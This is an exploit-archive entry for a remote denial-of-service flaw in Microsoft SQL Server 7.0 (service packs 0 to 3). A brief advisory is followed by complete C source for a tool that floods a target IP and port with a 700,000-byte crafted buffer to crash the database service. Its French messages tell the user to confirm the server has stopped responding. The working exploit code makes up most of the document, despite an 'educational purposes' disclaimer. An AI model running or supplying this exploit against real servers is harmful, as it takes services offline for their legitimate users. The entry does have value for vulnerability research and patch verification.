Microsoft SQL Server 7.0 - Remote Denial of Service Vulnerability (1)

                                                source: http://www.securityfocus.com/bid/11265/info

Reportedly Microsoft SQL Server is affected by a remote denial of service vulnerability. This issue is due to a failure of the application to handle irregular network communications.

An attacker may leverage this issue to cause the affected server to crash, denying service to legitimate users.

/* Microsoft mssql 7.0 server is vulnerable to denial of service attack
?* By sending a large buffer with specified data an attacker can stop the service
?* "mssqlserver" the error noticed is different according to services' pack but the result is always
?* the same one.
?*? Exception Codes = c0000005
?* vulnerable:? MSSQL7.0 sp0 - sp1 - sp2 - sp3
?* This code is for educational purposes, I am not responsible for your acts
?* Greets:sm0g DEADm|x #crack.fr itmaroc and evryone who I forgot */
#include <stdio.h>
#include <winsock.h>
#pragma comment(lib,"ws2_32")
u_long resolv(char*);

void main(int argc, char **argv) {
?WSADATA WinsockData;
?SOCKET s;
?int i;
?struct sockaddr_in vulh;
?char buffer[700000];
?for(i=0;i<700000;i+=16)memcpy(buffer+i,"\x10\x00\x00\x10\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc",16);

?if (argc!=3) {
? printf("? MSSQL denial of service\n");
? printf("??? by securma massine\n");
? printf("Cet outil a ete cree pour test ,je ne suis en aucun cas responsable des degats que vous pouvez en faire\n");
? printf("Syntaxe: MSSQLdos <ip> <port>\n");
? exit(1);
?}
?WSAStartup(0x101,&WinsockData);
?s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
?ZeroMemory(&vulh,sizeof(vulh));
?vulh.sin_family=AF_INET;
?vulh.sin_addr.s_addr=resolv(argv[1]);
?vulh.sin_port=htons(atoi(argv[2]));
?if (connect(s,(struct sockaddr*)&vulh,sizeof(vulh))==SOCKET_ERROR) {
? printf("Impossible de se connecter...le port est en generale 1433...\n");
? exit(1);
?}
? {
? send(s,buffer,sizeof(buffer),0);
?
? printf("Data envoyes...\n");
?}
?printf("\nattendez quelques secondes et verifiez que le serveur ne repond plus.\n");
?closesocket(s);
?WSACleanup();
}

u_long resolv(char *host_name) {
?struct in_addr addr;
?struct hostent *host_ent;
?if ((addr.s_addr = inet_addr(host_name)) == -1) {
? if (!(host_ent = gethostbyname(host_name))) {
?? printf ("Erreur DNS : Impossible de r?soudre l'adresse %s !!!\n",host_name);
?? exit(1);
? }
? CopyMemory((char *)&addr.s_addr,host_ent->h_addr,host_ent->h_length);
?}
?return addr.s_addr;
}